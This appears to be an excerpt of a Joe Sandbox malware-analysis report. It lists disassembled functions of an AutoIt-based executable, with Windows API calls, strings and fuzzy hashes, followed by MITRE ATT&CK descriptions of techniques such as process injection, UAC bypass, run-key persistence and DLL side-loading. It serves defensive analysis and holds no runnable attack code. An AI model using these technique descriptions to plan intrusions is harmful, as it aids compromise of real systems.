Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: LengthMessageSendTextWindow
String ID: edit
API String ID: 2978978980-2167791130
Opcode ID: 1177f9945a4cb55f82c0977bad86ff1692f563bea0903a007d0a83fd338b8416
Instruction ID: a8ec8437b6e24e2803c080bce1997bd73bfc4e16f49eeb51c66cc9d73698b3c1
Opcode Fuzzy Hash: 1177f9945a4cb55f82c0977bad86ff1692f563bea0903a007d0a83fd338b8416
Instruction Fuzzy Hash: D2119D71100208AFEF114E64DC44AAB376AFB243B9F504724FD61D31D0C735DD999B58

Function 00826C86 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

CharUpperBuffW.USER32(?,?,?), ref: 00826CB6
_wcslen.LIBCMT ref: 00826CC2

Strings

STOP, xrefs: 00826CBC, 00826CC1

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: STOP
API String ID: 1256254125-2411985666
Opcode ID: 28154cd1b5286c737f77dfaa9c4be0c59f21b556422da26853d58de520102d51
Instruction ID: 443125ecc5327234e48ad606cc77d49bde52ab192c8e15886d4a116dc820cd51
Opcode Fuzzy Hash: 28154cd1b5286c737f77dfaa9c4be0c59f21b556422da26853d58de520102d51
Instruction Fuzzy Hash: 89010032A0053A8BCB20AFFDEC849BF73E4FB607147400528E862D3190FA36D9A0C650

Function 00821CDE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

Part of subcall function 00823CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00823CCA

SendMessageW.USER32(?,000001A2,000000FF,?), ref: 00821D4C

Strings

ComboBox, xrefs: 00821CEB
ListBox, xrefs: 00821D16

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 100dbd80fbc4913b815d65fbd1b9b290330e4ee4bf970da55b10658c480be1ee
Instruction ID: acbd12aa05ac1d6b35c5df17118d523f500d00ab5a457c7ebcc161206cafeddd
Opcode Fuzzy Hash: 100dbd80fbc4913b815d65fbd1b9b290330e4ee4bf970da55b10658c480be1ee
Instruction Fuzzy Hash: C401B575601228EBCF54EBA4EC59DFE77A8FB66350B14051DF832A73C1EA3459488760

Function 00821BD8 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

Part of subcall function 00823CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00823CCA

SendMessageW.USER32(?,00000180,00000000,?), ref: 00821C46

Strings

ComboBox, xrefs: 00821BE5
ListBox, xrefs: 00821C10

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: 3b23e55ac1a258a762b6d5ff5a2c87e93ea00e4c83366fca41164bbb70a75620
Instruction ID: 8d97e4c39c49792fa1dd8f984982b21953e40f0fd0ef146881a3764089269cff
Opcode Fuzzy Hash: 3b23e55ac1a258a762b6d5ff5a2c87e93ea00e4c83366fca41164bbb70a75620
Instruction Fuzzy Hash: C901AC75641118A6CF14FBA0D959EFF77E8FB31340F14001DA916B7281EA289F5887B1

Function 00821C5C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

Part of subcall function 00823CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00823CCA

SendMessageW.USER32(?,00000182,?,00000000), ref: 00821CC8

Strings

ComboBox, xrefs: 00821C69
ListBox, xrefs: 00821C94

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: e56de663e58908d826b2a4348fdd09c4eff9af019b015ed9ffef7bf378a48f5d
Instruction ID: 3d63aa1b108c68fc5c3ab7ae6744be395a5c79e39fa0caf8a81952c70bf8f9bc
Opcode Fuzzy Hash: e56de663e58908d826b2a4348fdd09c4eff9af019b015ed9ffef7bf378a48f5d
Instruction Fuzzy Hash: 06016775641128A6CF14FBA4DA19EFE77E8FB21340B64001DB911F3281EA699F588771

Function 00821D68 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 46windowCOMMON

Download Yara Rule

APIs

Part of subcall function 007C9CB3: _wcslen.LIBCMT ref: 007C9CBD

Part of subcall function 00823CA7: GetClassNameW.USER32(?,?,000000FF), ref: 00823CCA

SendMessageW.USER32(?,0000018B,00000000,00000000), ref: 00821DD3

Strings

ComboBox, xrefs: 00821D75
ListBox, xrefs: 00821DA0

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ClassMessageNameSend_wcslen
String ID: ComboBox$ListBox
API String ID: 624084870-1403004172
Opcode ID: ac78c4ed3a72bc5d6bca78163ecfdc427f2132b8e38ce991d73635b5f094c1fd
Instruction ID: 81427a738c3ba6807cdc060526caf9724a207275aa64f6bb0403208bd5bfeed5
Opcode Fuzzy Hash: ac78c4ed3a72bc5d6bca78163ecfdc427f2132b8e38ce991d73635b5f094c1fd
Instruction Fuzzy Hash: 16F0F971A40228A6CB14F7A4DC59FFE77A8FB11350F14091DB932E32C1DB6859088360

Function 0084747E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00847493
_wcslen.LIBCMT ref: 008474B9

Strings

3, 3, 16, 1, xrefs: 00847483

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: _wcslen
String ID: 3, 3, 16, 1
API String ID: 176396367-3042988571
Opcode ID: 9e6789c4df23bd860134a427fa3d340e76f753d04e6cb31080daee3226bda644
Instruction ID: 00d55c2b66d4230e393962a9223cce3db8ef2cc7c8245b6b70377638fbc87928
Opcode Fuzzy Hash: 9e6789c4df23bd860134a427fa3d340e76f753d04e6cb31080daee3226bda644
Instruction Fuzzy Hash: A4E02B42205260609231227A9CC597F5789EFDD750710182BF981D2267EB98DD9193F5

Function 00820B15 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00820B23

Strings

Error allocating memory., xrefs: 00820B1C
AutoIt, xrefs: 00820B17

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Message
String ID: AutoIt$Error allocating memory.
API String ID: 2030045667-4017498283
Opcode ID: f2d15e4da0f15ca253e1b66340b6ce6f08c8a25f0c27335f95ed3cef46805422
Instruction ID: 3d2f66299078dc686590fc344f3244d226fdff7accff9dbf809e6420f4cbc081
Opcode Fuzzy Hash: f2d15e4da0f15ca253e1b66340b6ce6f08c8a25f0c27335f95ed3cef46805422
Instruction Fuzzy Hash: 88E0D8312443186ED21036957C0BF897F94EF09F61F10046BFB98D56C38AE928904AE9

Function 007E0D42 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 007DF7C9: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,007E0D71,?,?,?,007C100A), ref: 007DF7CE

IsDebuggerPresent.KERNEL32(?,?,?,007C100A), ref: 007E0D75
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,007C100A), ref: 007E0D84

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 007E0D7F

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 55579361-631824599
Opcode ID: d3d6c6765fef715615ceb604ffbbb37a16fc3c0d2da8640bf1458557b328ecae
Instruction ID: 0036ca8fd212bd09689b395a5af908993533146ef0fbad24d1cfbb0848676cb9
Opcode Fuzzy Hash: d3d6c6765fef715615ceb604ffbbb37a16fc3c0d2da8640bf1458557b328ecae
Instruction Fuzzy Hash: 40E039742003418BD320AFA9D8487467BE0BB04756F00492DE882CA652DBF8E4888BE1

Function 00833017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 0083302F
GetTempFileNameW.KERNEL32(?,aut,00000000,?), ref: 00833044

Strings

aut, xrefs: 00833038

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: b65a86947dcca7bd0ad053875919d661ff12d1bde9fc5c50fa58fdf04fef556d
Instruction ID: 98e58a1145cb6b1606809b517cf45f24df94bf0d7320a8b3f47ecbb33bf51f69
Opcode Fuzzy Hash: b65a86947dcca7bd0ad053875919d661ff12d1bde9fc5c50fa58fdf04fef556d
Instruction Fuzzy Hash: C9D05E765003286BDA30A7A4AC4EFCB3B6CEB04751F0002A1B655E2091EAB89984CFD0

Function 0081D21C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0081D220

Strings

X64, xrefs: 0081D2A8
%.3d, xrefs: 0081D22B

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: LocalTime
String ID: %.3d$X64
API String ID: 481472006-1077770165
Opcode ID: e625a9d04a2b230b19980cd4d3c6d7d92aa5014bf608326178f50f6855b0e3b6
Instruction ID: d63547bdff0160e4fe89bb17e897f72241467a58c9e3b795673c680c6f15385e
Opcode Fuzzy Hash: e625a9d04a2b230b19980cd4d3c6d7d92aa5014bf608326178f50f6855b0e3b6
Instruction Fuzzy Hash: B9D012A180831CE9CB5096E0CC49AF9B37CFF19305F608453F826D1140D63CE9886B61

Function 00852322 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0085232C
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0085233F

Part of subcall function 0082E97B: Sleep.KERNEL32 ref: 0082E9F3

Strings

Shell_TrayWnd, xrefs: 00852325

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 685b92d40226fb0dbd32b15cfd7944dc2815ef9903bc58227c504fe8f131d39d
Instruction ID: 130bd091dcdfb62f1cc70c64e59a1e4b116a5e3fdbbd94a29f60472ba0349ff3
Opcode Fuzzy Hash: 685b92d40226fb0dbd32b15cfd7944dc2815ef9903bc58227c504fe8f131d39d
Instruction Fuzzy Hash: FCD0A932380310BAE2A4B770AC1FFC66A04BB00B01F004A067205EA1D0D8A8A8418A44

Function 00852356 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0085236C
PostMessageW.USER32(00000000), ref: 00852373

Part of subcall function 0082E97B: Sleep.KERNEL32 ref: 0082E9F3

Strings

Shell_TrayWnd, xrefs: 00852365

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 277f9fd82da595071ca0769d738333ac62bb1d3060e880f40fcc39aed8d202e5
Instruction ID: 22ea5ccbd88cc356f63a1a5a9610c0acc21afb50a5c48046be8a367c77a4febf
Opcode Fuzzy Hash: 277f9fd82da595071ca0769d738333ac62bb1d3060e880f40fcc39aed8d202e5
Instruction Fuzzy Hash: 2BD0A9323803107AE2A4B770AC0FFC66A04BB00B01F004A067201EA1D0D8A8A8418A48

Function 007FBDFD Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 007FBE93
GetLastError.KERNEL32 ref: 007FBEA1
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 007FBEFC

Memory Dump Source

Source File: 00000011.00000002.3259321580.00000000007C1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 007C0000, based on PE: true

Associated: 00000011.00000002.3259254959.00000000007C0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.000000000085C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259550280.0000000000882000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259755983.000000000088C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000011.00000002.3259845289.0000000000894000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7c0000_9bf3542ba6.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: 77e2208cd9a11b475014227fe4451e8599156747b0457ec6b3201ec7815b9f3c
Instruction ID: e5c26a6c2c74baa128d4fef73abc30e204b5a3684a30d56416a15e0b6e9984eb
Opcode Fuzzy Hash: 77e2208cd9a11b475014227fe4451e8599156747b0457ec6b3201ec7815b9f3c
Instruction Fuzzy Hash: E241F53560120AEFCF218FA5CC84ABA7BE5EF45320F144169FA59973A1DB388D00DB61

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

